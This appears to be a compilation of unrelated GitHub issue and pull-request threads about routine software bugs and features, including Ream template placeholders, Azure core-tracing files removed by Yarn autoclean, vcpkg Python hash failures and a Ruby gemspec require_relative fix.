The compiler can produce compatibility headers for all platforms, so SwiftPM should be able to lift this restriction. We could move over to -emit-clang-header-path (introduced into the compiler in March 2022) at the same time. My main question is around compatibility with existing packages: can we do this bug fix without breaking existing packages, or will we need compatibility workarounds (say, looking for unsafe flags like https://github.com/swiftlang/swift-package-manager/issues/7319#issuecomment-1927250101) and/or do this only with a newer package manifest version.


impl call base

Add basic call functions, client call and server call will be implemented in other prs respectively.

Any test or add later?

When call is used, completion queue is always involved. And relay on the call order. So it's better add integration tests later.

PTAL @disksing @andelf

LGTM.
Promises as traits may be better, enum may be misleading if you want to add more variants.

As comment says, it's not suitable to use generic or trait here.

PTAL @disksing

PTAL @disksing @overvenus


Map empty

[Voer hier feedback in]

Documentdetails
⚠ Dit gedeelte niet bewerken. Het is vereist om problemen te koppelen tussen docs.microsoft.com en GitHub.

ID: 09ab98fc-fea2-a11a-e5ca-de1430211d97
Version Independent ID: 4d9943c3-fef7-ca86-bd03-1241a04b8135
Content: Get started with the Windows Desktop client
Content Source: WindowsServerDocs/remote/remote-desktop-services/clients/windowsdesktop.md
Product: windows-server
Technology: remote-desktop-services
GitHub Login: @Heidilohr
Microsoft Alias: helohr

Could you please add some more details about the issue? "Map empty" does not give us enough details to work out what needs to be changed.

No reply after more than a month. I consider this a test ticket and choose to close it. Feel free to open a new ticket if you find that there still is a legitimate issue in the referenced document.

#please-close


Ream config is broken

My app was working fine in version v1.0.0-beta.9 but with any later version it is very broken. Yes, I've made the changes for Vue 2.3.
After a lot of hunting I've narrowed down the problem to Ream's config. If pretty much anything is placed in the config the app stops working. I've made a small app to demonstrate. You'll notice that the router doesn't work at all.
https://github.com/jazoom/ream-minimal
However, if you change:
const app = ream({
  dev: process.env.NODE_ENV !== 'production',
  html: { template: 'src/index.html' },
  entry: 'src/index.js'
});

to:
const app = ream({
  dev: process.env.NODE_ENV !== 'production'
});

it works just fine.
It also doesn't work if the only thing in there is my extensions to Webpack config.
Actually, while I said it works fine without the config, in this minimal example for some reason the app is still broken due to a "mismatch" between server and client. I can't see where that's coming from in this example (perhaps another bug), but I don't have that problem in my actual full project.

You forgot to add <!--ream-scripts-placeholder--> to your index.html, that's the place we inject generated assets

For some reason I disabled auto inject in html-webpack-plugin in rc.2

I wouldn't say "forgot", since I can't find any documentation anywhere about how to make a proper template for Ream. I don't know how I found out about the other three placeholders originally, but there weren't four in the code I got this from.
<!--ream-head-placeholder-->
<!--ream-styles-placeholder-->
<!--ream-app-placeholder-->

Sorry I didn't recall correctly, that's a change in beta.11->rc.2

I'm not sure you should close this, since I just added that in and it still doesn't work.

is the router still not working? I've made it work after adding <!--ream-scripts-placeholder--> after <!--ream-app-placeholder-->

I got it working by copying the exact order in the index.html you provided. Thank you.

Glad to hear that 😄


Deprecation of TypeRegistry breaks the current releases

Describe the bug
Installing & building the current version (0.1.0) of @bufbuild/connect-web fails.
The TypeRegistry had been deprecated but the current npm version still references it.
The issue had been fixed by https://github.com/bufbuild/connect-web/pull/225 but it is unreleased.
To Reproduce
yarn add @bufbuild/connect-web
yarn build

'TypeRegistry' is not exported by<EMAIL_ADDRESS>imported by<EMAIL_ADDRESS>file: [...]/node_modules/@bufbuild/connect-web/dist/esm/connect-error.js:15:35
13: // limitations under the License.
14: import { Code, codeFromString, codeToString } from "./code.js";
15: import { Any, proto3, protoBase64, TypeRegistry } from "@bufbuild/protobuf";

Hey @FPurchess.  Yeah, unfortunately this is a drawback in how Yarn behaves.  Yarn does not fail on incorrect peer deps.  It just gives a warning.  So if your package.json uses<EMAIL_ADDRESS>and<EMAIL_ADDRESS>Yarn will warn you that connect-web needs<EMAIL_ADDRESS>but will happily install 0.1.0 anyway.
We are planning on cutting a release of connect-web today, which will include the #225 fix and should hopefully resolve this issue.
In the meantime, I would recommend sticking with<EMAIL_ADDRESS>for now.  I will respond here when the release is ready so that you can fully upgrade.

Thanks for the quick response @smaye81! I can confirm that vendoring<EMAIL_ADDRESS>as a hard dependency resolves my issue.

Appreciate your patience, @FPurchess.  We published the latest release of @bufbuild/connect-web and @bufbuild/protoc-gen-connect-web today.  You should hopefully be able to upgrade all libraries with no further issues.


Make SignalR Java tests output test results to AzP

JUnit should support outputting a JUnit-style XML file... otherwise... wat?
We should do that and then make sure AzP is scooping up junit xml files in a Publish Test Results task.

Done here: https://github.com/aspnet/AspNetCore/pull/9214

Here is the reporting with some forced failures.


Fix bug on environment clear/delete endpoints (#7526)

Pull request opened by the merge tool on behalf of #7526

Merged into branches iso7 in 802dc631b7319c93c76b4188777c9e1d30b3e492


Icons should be visible in different language settings

Notice how there are icons in this section in English but missing here in Russian. Its missing in other languages as well.

Verified this issue on dev app v2.0.6(386)


Added a New Quote

Checklist:

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] All the files I changed are in the same world language, for example: only English changes, or only Chinese changes, etc.

Closes #XXXXX

@codewithdev Thanks for your contribution. Note that we already have this quote in there (attributed to a different person):
    {
      "quote": "It is never too late to be what you might have been.",
      "author": "Mary Anne Evans"
    },


Actually remove the headers we do not want from forwarded request

The result of:
    val cleanHeaders = Constants.Headers.namesToRemove.foldLeft(request.headers) { case (h, n) => h.remove(n) }

was not removing the headers as we expected - replace with call to Util


CI workflow test failing

Using the following workflow:
on: [push]

name: test

jobs:
  check:
    name: Protostar project
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          submodules: recursive

      - name: Install Protostar
        uses: sambarnes/protostar-toolchain@main

      - name: Run tests
        run: protostar test

returns the following error:
Run protostar test
[1867] Failed to execute script 'binary_entrypoint' due to unhandled exception!
Traceback (most recent call last):
Unexpected Protostar error. Report it here:
  File "binary_entrypoint.py", line 11, in <module>
https://github.com/software-mansion/protostar/issues
  File "protostar/start.py", line 32, in main

  File "protostar/start.py", line 27, in main
  File "asyncio/runners.py", line [4](https://github.com/ametel01/No-Game/runs/7574485480?check_suite_focus=true#step:4:5)3, in run
  File "asyncio/base_events.py", line [5](https://github.com/ametel01/No-Game/runs/7574485480?check_suite_focus=true#step:4:6)87, in run_until_complete
  File "protostar/protostar_cli.py", line 215, in run
  File "protostar/cli/cli_app.py", line 28, in run
  File "protostar/commands/test/test_command.py", line 120, in run
  File "protostar/commands/test/test_command.py", line 139, in test
  File "protostar/commands/test/test_command.py", line 187, in _build_include_paths
  File "protostar/utils/config/project.py", line 77, in get_include_paths
  File "protostar/commands/test/expected_event.py", line 1[6](https://github.com/ametel01/No-Game/runs/7574485480?check_suite_focus=true#step:4:7), in collect_immediate_subdirectories
AssertionError: lib/cairo_contracts_git/cairo_contracts/src is supposed to be a directory!

It looks like you don't run protostar install before running tests.

Hi @ametel01 did @kasperski95's suggestion fix the issue for you?
Closing this issue as for now.


Adding Upsert feature

CosmosDB SQL API has Upsert feature now.
I add the future to enable it.
However, it has several note for that.
1. Code of Upsert and Create can refactor.
To enable Upsert, we just add x-ms-documentdb-is-upsert header to the Create REST call. However, current API is not aim for customize the header. If I refactor it, I need to change the other parts which already run successfully. Before doing that change, we should discuss how to refactor it in here.
2.  Can't avoid Upsert Status error
This code validate the match of the status code. However, In case of Upsert, we have no way to know the status code in advance.
https://github.com/a8m/documentdb-go/blob/master/client.go#L102-L106
It is not ideal, however, We can avoid to write the code like this. This should be also discuss in here. I'm not sure why the status matching is needed in here.
		err := teamdb.Add(&v)
		errString := err.Error()
		if err != nil {
			// If you use upsert, the error happens with error sting ', '
			// which means status code validation error. Upsert can't predict which status code 200 or 201 in advance.
			if ", " != errString {
				fmt.Printf("upsert error! %d : '%s'", i, err.Error())
			}
		}

3 Partition Key is not supported
Partition Key is not supported (Should be the other pull request) It also require the new header and we need to pass the value to that header. maybe, refactor it to enable us to add custom header might be handy.
FYI:  This is the sample of the upsert feature
https://github.com/TsuyoshiUshio/documentdbspike

Thanks for your contribution @TsuyoshiUshio.

Would you mind adding this change to the README?

Of course not! :)


login successful but nothing happens

I installed the let's chat nodejs app freshly from github.
Up to the point where I try to log in the first time everything goes well. When I log in with the account I just made nothing happens. The login successful window comes and I get to the /login page.
node version 0.12.5
let's chat Release 0.4.0
auth: local
Browser: chrome Version 43.0.2357.130 m
All the settings are default.
Any help is appreciated!

@hartzie Can you open Chrome's console and see if there's an error? Might be an extension causing some issues.
@hartzie also have you tried using another browser?

answer to first: this is an error I get: Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword, a hash ('sha256-_AMYlxp6JAjouzfF8mqHfPlK2BVzCtzWQ8oxzfqqNfw='), or a nonce ('nonce-...') is required to enable inline execution.
answer to second question: yes I tried FF but nothing else so far.
I will test further

Further question regarding setup. I am running it on a server not locally. Is there any different configuration regarding that setup?

@hartzie try disabling extensions (maybe last pass or something)
In regards to the setup, I recommend using something like forever and running it behind an nginx proxy.

@hhaidar tested with 3 browsers so far but same results. http://<IP_ADDRESS>:5000/login try it yourself maybe you see something. Do I have to allow more ports than 5000 tcp?

Someone tested it for me still no result. It has nothing to do with the browser. It doesn't sign me in if I try to get the /rooms page it tells me I am not signed in.

@hartzie yea looks like it's not saving sessions for some reason.
Try deleting and reinstalling your npm packages:
rf -rf node_modules
npm install

Also what version of node are you running?

It seems that the CSP header isn't being set properly.
@hartzie would you be able to paste the Content-Security-Policy response header here?

@sibartlett here's the site: http://<IP_ADDRESS>:5000/login
Headers look fine I think and js is executing normally :/

@hhaidar I tried that with removing the modules and rebuilding them. mongo version is running 3.0.4
still same results

Hello,
I',m, new to "Let's Chat", as mentioned installation steps i've been followed by and installed successfully.
But when i open http://localhost:5000/login it's asking me for login so how i create any new userID's and passwords for the users.
Please guide me!


Add BTCUSD, ETHUSD, LTCUSD and ZECUSD pairs

Hi, thank you for opening the pull request!
Everything looks good in it from what I can see.
Your using coincap which is no problem.
Thank you for contributing!


Remove scene APIs that were deprecated with ERROR level since 1.6

No release notes because it wasn't supposed to be really public + deprecated with ERROR level for a while

How much do we need to remove it?
ComposeScene, ImageComposeScene were stable API's is stable versions.

Basically for it's for cleaning-up purposes. It's deprecated with ERROR level for 2 versions, so it fits to the policy

(rebase without changes)


Load epub from assets

This plugin allows loading epub files from the Flutter assets folder?
I'm getting a book not found error.

No support for assets yet. I'm actively working on that

@luis-cruzt I've included a load from asset feature from 0.1.7. You can now load EPUBs from your assets folder

Wow thanks, I'll take a look to that! Thank you


Adding vit_h_14 architecture

See whether the unittest can pass after changes in #5176
cc @datumbox

This PR breaks our CI and causes memory issue not only for ViT but also for other models. Given that we don't offer weights for it, we should revert and investigate ways to add it back without breaking the CI.


Feature: Do not require #[ts(export)] if #[ts(export_to = )] is present

I'm not sure if there's a reason for requiring #[ts(export)] on all structs as well as export_to. I have to provide both attributes every time, which is a bit annoying. I'd be happy to implement a quick fix if removing that requirement is acceptable. Would be a breaking change though, but probably fine since it would only need a minor bump pre 1.0.

Should have taken a closer look at the code before opening this issue. I can see the difference for why there would be separate options. I think allowing a default like in #138 would probably fix the ergonomics (I commented on that issue too!). Closing this now.


Got an error after replacing @vue/babel-preset-jsx with @vue/babel-plugin-jsx

🧐 Problem Description
I have a vue2-similar framework and before it used @vue/babel-preset-jsx to translate JSX.
Recently I am refactoring it and make it more like vue3 APIs, so I also switched to use the new @vue/babel-plugin-jsx.
But I got this error:
Module not found: Error: Can't resolve 'vue' in 'dev/demo/src'  @ ./src/main.js 1:0-50 10:11-23
I guess this new jsx plugin has a hard dependency on Vue3(@vue/babel-preset-jsx does not)? if I do not install Vue3 as a devDependency, I cannot use this repo..After I tried to install vue3, then no error reported.
But I hope all vue similar framework could use @vue/babel-plugin-jsx and it has no implicit dependency on vue3.
💻 Sample code
import { createApp, h } from './runtime-dom/src/index';  // this is the runtime I wrote, not import from vue3

const app = createApp({
    data() {
        return {
            title: 'hello',
        };
    },
    render() {
        return {this.title};
    },
});

app.mount('#app');

I haven't deeply looked into this repo's source code, but right now I guess the error is caused by importing the h function from vue3, but vue3 is not installed?
IMO, if the function h(i.e. createVNode) is provided, no need to import from vue3.
Otherwise, I do not know any reason to have a dependency on vue
🚑 Other information
N/A

I checked the definition of render function after using @vue/babel-plugin-jsx.
Now it forces to use the createVNode function from vue3.
render() {
    return Object(vue__WEBPACK_IMPORTED_MODULE_0__["createVNode"])("span", null, [this.title]);
}

I suggest if users import h function explicitly, @vue/babel-plugin-jsx should not hard-code vue3's createVNode into render function.

see https://github.com/vuejs/jsx-next/pull/322

@Amour1688 Thanks for your suggestion! I played with the pragma feature but still cannot solve the issue.
I tried in .babelrc like this:
{
    "presets": ["@babel/env"],
    "plugins": [
        [
            "@vue/babel-plugin-jsx",
            {
                "pragma": "myOwnFunctionName",   // defaults to createVNode
            }
        ]
    ]
}

Then import my function like this:
import { createApp, myOwnFunctionName } from 'src/path-of-their-file';
const app = createApp({
    data() {
        return {
            title: 'hello',
        };
    },
    render() {
        return {this.title};
    },
});

app.mount('#app');

Is there any problem in my config here? Because I found it still uses the default createVNode function from vue3.
Can you give me an example? thanks again!

sorry, I will release a new version recently.


1.0.0 RC2: Feature add ons, bugfixes, use low level VHCI control instead of Bluedroid or Nimble stack

@FlorianLudwig I briefly checked scanning results with the lib in this VHCI direct command control version, against the former Bluedroid stack controlled version. Results are slightly better. Thus, i suggest to merge this PR now for v1.0.0.

@cyberman54
While it is an interesting experiment I would prefer to keep this code out of libpax as otherwise users of libpax might expect we maintain a low-level library for basic BLE functions. Sending advertisements is out of scope for libpax in my opinion.
So I would like to remove all unused functions.
/cc @oliverbrandmueller

ok, no problem. I can keep this in a separate branch in my fork repo, so nothing gets lost.

@cyberman54 should I remove the code or will you update the MR?

I would prefer you do it, then i can leave my fork untouched to keep the code there. Thank you.

@FlorianLudwig i removed the advertising code from my branch HCI and this MR. Kept it in my new branch hci-advertise.

Code merged to master; 1.0 branch ahead

Hi @oliverbrandmueller Could you create a tag for the current version "1.0.0 RC2"?

@torfo We have a final fix pending (@FlorianLudwig is checking the default handling of counter mode) before releasing 1.0.0 which I would tag then.

@oliverbrandmueller is the final fix eta known?

@cyberman54 There has been a report of crashes with the current master and a 1.0.0 release has to wait until that is cleared.
I am missing on details on the issue though so i have no eta.

can i get the report? I will take a look into, then.


Add support for VARCHAR when mapping ARRAY to String[]

As explained in this article.

It StringArrayType appears to work already for reading an entity, but not e.g. for query parameters.

Is your comment really related to this issue? It looks more like it's related to the existing StringArrayType  in which case, you need to provide a replicating test case and open a new issue.

I mean it works for varchar[] fields.

However, the constructor StringArrayType(TypeDescriptor) doesn't exist, so you cannot extend it directly as in the article you linked.

I now there is support for String[], but I don't recall exactly why I created this issue.
Anyway, if there's something to be implemented, then you need to send me a Pull Request with a fix. I'll review it when it's ready.

I'm not familiar with all the nuances, but this does the job for me. Using the StringArrayType results in various function X(character varying[], text[]) does not exist-like errors.
public class VarcharArrayType extends AbstractHibernateType<String[]> {
    public static VarcharArrayType INSTANCE = new VarcharArrayType();

    public VarcharArrayType() {
        super(ArraySqlTypeDescriptor.INSTANCE, new TypeDescriptor());
    }

    public String getName() {
        return "varchar-array";
    }

    public static class TypeDescriptor extends StringArrayTypeDescriptor {
        @Override
        protected String getSqlArrayType() {
            return "varchar";
        }
    }
}

@OrangeDog 's solution works perfectly for me! Thank you so much for this! :-)
Any chance to include that in the official sources? There's some other "solutions" on the web, but those are years old by now and no longer work.

@ShuzzDE You can provide a Pull Request for it, and I'll review it when I have some time

Already supported and proved by the HSQLDBArrayTypeTest.


[tools]Add python64 bit.

Add 64 bit python2/python3.
Choose the different python version depending on the architecture.

Related: #7411.

Did a full rebuild https://dev.azure.com/vcpkg/public/_build/results?buildId=7197

  File does not have expected hash:

          File path: [ /home/vcpkg/myagent/_work/4/s/downloads/tools/python/bin/get-pip.py ]
      Expected hash: [ 1436215d2bc45a8019503aaf6c0e5f7da142108dee0fa2db282e22670eca84beff487ec45f1e6b8968c481f7009afb211a76ac93b637b48ba83f099831db33ff ]
        Actual hash: [ 99520d223819708b8f6e4b839d1fa215e4e8adc7fcd0db6c25a0399cf2fa10034b35673cf450609303646d12497f301ef53b7e7cc65c78e7bce4af0c673555ad ]

  Please delete the file and retry if this file should be downloaded again.

I can't reproduce this issue on my linux VM.

Before vcpkg downloads a file it will check to see if a file with the same name already exists.  If the file name already exists then it will assume it was cached and compare the hash and will fail.  The way to fix this is to change the name of the downloaded file to have a version number in it.

Started a new full rebuild test: https://dev.azure.com/vcpkg/public/_build/results?buildId=8835

I can't reproduce these port build failures:

libjpeg-turbo:x86-windows
string-theory:x86-windows

duckx build failed due to files conflict with port libzip and port pugixml.

Since this branch was lost, create a new PR #7964 to add this feature.


gofmt check and No as default for ask function

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: mkumatag
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [mkumatag]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Simplify dependencies on JUnit Jupiter

Instead of declaring a dependency on junit-jupiter-api at compile time
and junit-jupiter-engine at runtime, the samples now depend on the
junit-jupiter artifact which has the same effect and additionally
includes a compile-time dependency on junit-jupiter-params.

@bot-gradle test RFM


Allow page selection when loading a file through ImageMagick

ICO files, for instance, may have multiple pages, which can be selected when loading a file through ImageMagick.

Coverage remained the same at 100.0% when pulling 0d325470391dccbf9ed283389d5d77a591d31d00 on besport:magick-pages into 0f58f956a7892ff480549fa99d76627892bd9fc1 on lovell:master.

Un autre commit magique, merci beaucoup.


fixed route-table vpc-endpoint integration

Fixed

VPC Endpoint integration with route table
Prefix List as route table destination

TF Test Passed

TestAccAWSRouteTable_IPv4_To_InternetGateway
TestAccAWSRouteTable_GatewayVpcEndpoint

Hi @bblommers , Can you please review this PR a in a bit detail and see if it will any side-effects on other functionalities? (then we can fix the tests accordingly)
Thanks

Hi @bblommers , Can you please review this PR a in a bit detail and see if it will any side-effects on other functionalities? (then we can fix the tests accordingly)
Thanks

Hi @macnev2013, I'm not aware of anything that would be impacted by this 👍

Hi @bblommers,
Short Note: I just discovered while using boto3.resource to get the routes in route table using route_table.routes does not contain any route with IPv6 in the result.
Alternatively we can use route_table.routes_attribute to retrive all the routes.
Or we can use boto3.client for the same


Update windows_foundation_numerics.md

Fixes formatting

@Jaiganeshkumaran : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Looks good; thanks @Jaiganeshkumaran.


Add checks for required enviroment veriables

I'm planning on doing a full README.md update with more information about deployment, enviroment variables, etc. It will be included in there


[Home page: Header] Wrong mouse pointer appears when the mouse hovers next to the right side of 'Челендж' logo

Environment: Windows 10 19043.928, browser (Chrome) 92.0.4515.159 (64)
Reproducible: always
Build found: last commit
Steps to reproduce

Go to https://speak-ukrainian.org.ua/dev/
Hover your mouse next to the right side of 'Челендж' logo.
Hover your mouse next to the right side of 'Гуртки', 'Про нас' and 'Послуги українською' logos.

Actual result

The standard pointer appears next to the 'Челендж' logo.
A clickable area of logos is too big.

https://user-images.githubusercontent.com/89358741/131824680-afda8655-2800-48a0-a365-f41f49d93339.mp4
Expected result

The link pointer appears next to the 'Челендж' logo.
The logos have a strict clickable area.

E.g.: "User story #

Bug is no longer reproducible with 'Челендж' link, but is still reproducible with 'Гуртки', 'Про нас' and 'Послуги українською' links


Metrics should allow for no conditions set

Since https://github.com/openshift/hive/pull/1712, metrics controller is
trying to set metrics for stopping and resuming clusters. It should
account for new cluster provisions, where cluster deployment conditions
are not initialized yet
xref: https://issues.redhat.com/browse/HIVE-1872
/assign @2uasimojo

Will manually merge this as soon as verify passes, as it's an urgent fix for osd.


UI: supporting sub sections in the navigation bar

Currently only the high level section are listed in the navigation bar:

Build
Run a Node
Use

Which makes the docs a bit hard to navigate and see where you're at.
I think we should list sub section in the navigation bar, eventually having it collapsable.
Also the high section names collapse when entering a sub section, I think this behavior makes it harder to navigate the docs as well.

I agree that we need to improve navigation in the docs, but I don't think cramming navigation into a narrow column on the left (sidebar) is a solution.

I don't think cramming navigation into a narrow column on the left (sidebar) is the solution.

I honestly don't see an issue with this


How do I build sick_scan with option SCANSEGMENT_XD_SUPPORT?

Dear Sir:
I tested multiscan, according the guidance "Build on Linux ROS1".
I finished all steps，with the exception of creating source code documentation by d oxygen
I always get error:sick_tim two not supported,please build sick_scan with option SCANSEGMENT_XD_SUPPORT when I run: roslaunch sick_scan sick_tim two.launch.
Could you kindly give me some guidance? Thank you very much.
BR.
Chester Hao

Hello,
please refer to this branch, which build with scansegment_xd support enabled: https://github.com/SICKAG/sick_scan_xd/tree/feature/scansegment_xd_support
Best regards,
Manuel

Hello,
the TimTwo is currently not supported. For the MRS136 (multiscan) we retried the steps given in the installation documentation and it works.
We recommend in any case to cleanup the following directory before building:
rm -rf ./build ./build_isolated/ ./devel ./devel_isolated/ ./install ./install_isolated/ ./log/

In any case we updated the documentation regarding the build steps a little bit in this branch.

Hello,
the issue was with options being overwritten by values in the CMake cache if cmake was called more than once. With the latest CMakeLists.txt from the feature/scansegment_xd_support branch, this issue should be solved. Please make sure to use that version ( https://github.com/SICKAG/sick_scan_xd/blob/feature/scansegment_xd_support/CMakeLists.txt ) and build with the following command:
catkin_make_isolated --install --cmake-args -DROS_VERSION=1 -DSCANSEGMENT_XD=1 -Wno-dev

We will apply the changes to the next regular release.
Best regards,
Manuel


Make the scripts more portable

Just to follow up from offline discussion. Very much pro making stuff as portable as possible, though we're not yet clear on the portability issue atm.
Running npm run buildall seems to work for me in Linux, macOS, Windows (both cmd and powershell). @wycats is running into some issue with it in powershell, and it'd be good to work out what's happening there. We can always move to a new build system later, but just feels like we don't have quite enough info yet.


@azure/storage-file-datalake is unusable due to a build failure

Package Name:  @azure/storage-file-datalake
Package Version:  12.5.0
Operating system:
[x] nodejs

version:  v14.4.0

[x] browser

name/version:  Chrome 93.0.4566.0

[x] typescript 4.3.2

version:

Is the bug related to documentation in

[ ] README.md
[ ] source code documentation
[ ] SDK API docs on https://docs.microsoft.com

Describe the bug
A clear and concise description of what the bug is.
I'm unable to consume @azure/storage-file-datalake because importing from it breaks my build. The distributed library references tests files that are missing in the published library.
To Reproduce
Steps to reproduce the behavior:

yarn add @azure/storage-file-datalake
import '@azure/storage-file-datalake' somewhere in your project

Expected behavior
The build works. I'm able to use @azure/storage-file-datalake in my Nx project using Webpack.
Screenshots
ERROR in<EMAIL_ADDRESS>Module not found: Error: Can't resolve './tracers/test/testSpan' in '/<path-to-my-project>/node_modules/@azure/core-tracing/dist-esm/src'

The complain is about ./tracers/test/ not existing. That's true — this entire directory does not exist in the installed package.
The contents of my local version of @azure/core-tracing:
.
├── dist/
│   ├── index.js
│   └── index.js.map
├── dist-esm/
│   └── src/
│       ├── tracers/
│       │   ├── noop/
│       │   │   ├── noOpSpan.js
│       │   │   ├── noOpSpan.js.map
│       │   │   ├── noOpTracer.js
│       │   │   └── noOpTracer.js.map
│       │   └── opencensus/
│       │       ├── openCensusSpanWrapper.js
│       │       ├── openCensusSpanWrapper.js.map
│       │       ├── openCensusTraceStateWrapper.js
│       │       ├── openCensusTraceStateWrapper.js.map
│       │       ├── openCensusTracerWrapper.js
│       │       └── openCensusTracerWrapper.js.map
│       ├── utils/
│       │   ├── cache.js
│       │   ├── cache.js.map
│       │   ├── global.browser.js
│       │   ├── global.browser.js.map
│       │   ├── global.js
│       │   ├── global.js.map
│       │   ├── traceParentHeader.js
│       │   └── traceParentHeader.js.map
│       ├── createSpan.js
│       ├── createSpan.js.map
│       ├── index.js
│       ├── index.js.map
│       ├── interfaces.js
│       ├── interfaces.js.map
│       ├── tracerProxy.js
│       └── tracerProxy.js.map
├── types/
│   └── core-tracing.d.ts
├── LICENSE
└── package.json

8 directories, 31 files

Additional context
<EMAIL_ADDRESS>installs "<EMAIL_ADDRESS>That's where the issue is.

@karol-majewski
Is it OK for you to share a repro project?

@EmmaZhu While setting up one, I discovered the root issue. It was Yarn autocleaning directories called test, tests etc.
.yarnclean
# test directories
__tests__
test
tests

...

As far as I can tell, using an autoclean config such as this one is a very standard approach.
Perhaps the solution is to rename the directory to something else in order to avoid false positives?

cc @maorleger for the core-tracing angle on this issue

related issue previously logged against service bus https://github.com/Azure/azure-sdk-for-js/issues/13367

It's an interesting one. On the one hand Yarn autoclean mentions this risk in the Defaults section. On the other hand, it's not reasonable to expect folks to know the internal structure of every single dependency. There's no help from version control since node_modules isn't versioned. It's also the type of issue that will get repeatedly raised against individual packages and take up a developer's time.
Personally, I think we should consider one of two options:

Rename src/tracers/test to src/tracers/testTracers, src/tracers/mockTracers or something along those lines
Move test tracers over to @azure/test-utils

I think the first can be done without a breaking change but the second must be done before we GA.
My vote is (1) - creating an issue to track this and will edit this comment after it's created

@karol-majewski thank you for bringing this to our attention - I went ahead and resolved this by removing the test tracers to our internal test support package so future releases of @azure/core-tracing will play nicely with the defaults created by Yarn autoclean.
It will take time for this change to flow through our normal release and integration process but we expect this to be resolved within the next few release cycles throughout our packages.


Change require in gemspec to require_relative

This gemspec cannot be executed by native ruby code as lib is not yet on the load path. The only reason this currently with bundler is that it is "stubbed" and bundler otherwise fixes other path issues. Here's an example after you remove bundler's stubbing:
mktmpdir
echo "source 'https://rubygems.org'" >> Gemfile
echo "gem 'mail', github: 'mikel/mail'" >> Gemfile
bundle install

echo "require 'mail'; puts 'worked'" >> main.rb

# Go into the mail gem directory and remove the changes to mail.gemspec that bundler makes
cd $(bundle info mail --path)
git stash
cd -

bundle exec ruby main.rb

If you run this code you'll get an error:
$ bundle exec ruby main.rb
Invalid gemspec in [/Users/rschneeman/.gem/ruby/2.7.1/bundler/gems/mail-8fbb17d4d536/mail.gemspec]: cannot load such file -- ./lib/mail/version
Traceback (most recent call last):
  24: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/rubygems/core_ext/kernel_require.rb:92:in `require'
  23: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/rubygems/core_ext/kernel_require.rb:92:in `require'
  22: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/setup.rb:10:in `<top (required)>'
  21: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/ui/shell.rb:88:in `silence'
  20: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/ui/shell.rb:136:in `with_level'
  19: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/setup.rb:10:in `block in <top (required)>'
  18: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler.rb:149:in `setup'
  17: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/runtime.rb:20:in `setup'
  16: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/runtime.rb:101:in `block in definition_method'
  15: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/definition.rb:226:in `requested_specs'
  14: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/definition.rb:237:in `specs_for'
  13: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/definition.rb:170:in `specs'
  12: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/spec_set.rb:80:in `materialize'
  11: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/spec_set.rb:80:in `map!'
  10: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/spec_set.rb:83:in `block in materialize'
   9: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/lazy_specification.rb:75:in `__materialize__'
   8: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/git.rb:168:in `specs'
   7: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/path.rb:105:in `local_specs'
   6: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/git.rb:201:in `load_spec_files'
   5: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/path.rb:170:in `load_spec_files'
   4: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/path.rb:170:in `each'
   3: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/path.rb:171:in `block in load_spec_files'
   2: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/source/git.rb:320:in `load_gemspec'
   1: from /Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/bundler/stub_specification.rb:9:in `from_stub'
/Users/rschneeman/.rubies/ruby-2.7.1/lib/ruby/2.7.0/rubygems/stub_specification.rb:158:in `name': undefined method `name' for nil:NilClass (NoMethodError)

Updating to a require_relative fixes the issue and require_relative is faster since it doesn't have to search the load path.
FWIW when bundle generates a new gem it also uses require_relative:
$ bundle gem mygem
Creating gem 'mygem'...
MIT License enabled in config
Code of conduct enabled in config
      create  mygem/Gemfile
      create  mygem/lib/mygem.rb
      create  mygem/lib/mygem/version.rb
      create  mygem/mygem.gemspec
      create  mygem/Rakefile
      create  mygem/README.md
      create  mygem/bin/console
      create  mygem/bin/setup
      create  mygem/.gitignore
      create  mygem/.travis.yml
      create  mygem/.rspec
      create  mygem/spec/spec_helper.rb
      create  mygem/spec/mygem_spec.rb
      create  mygem/LICENSE.txt
      create  mygem/CODE_OF_CONDUCT.md
Initializing git repo in /private/tmp/a7541bce67e048081127ebd8d13375a1/mygem
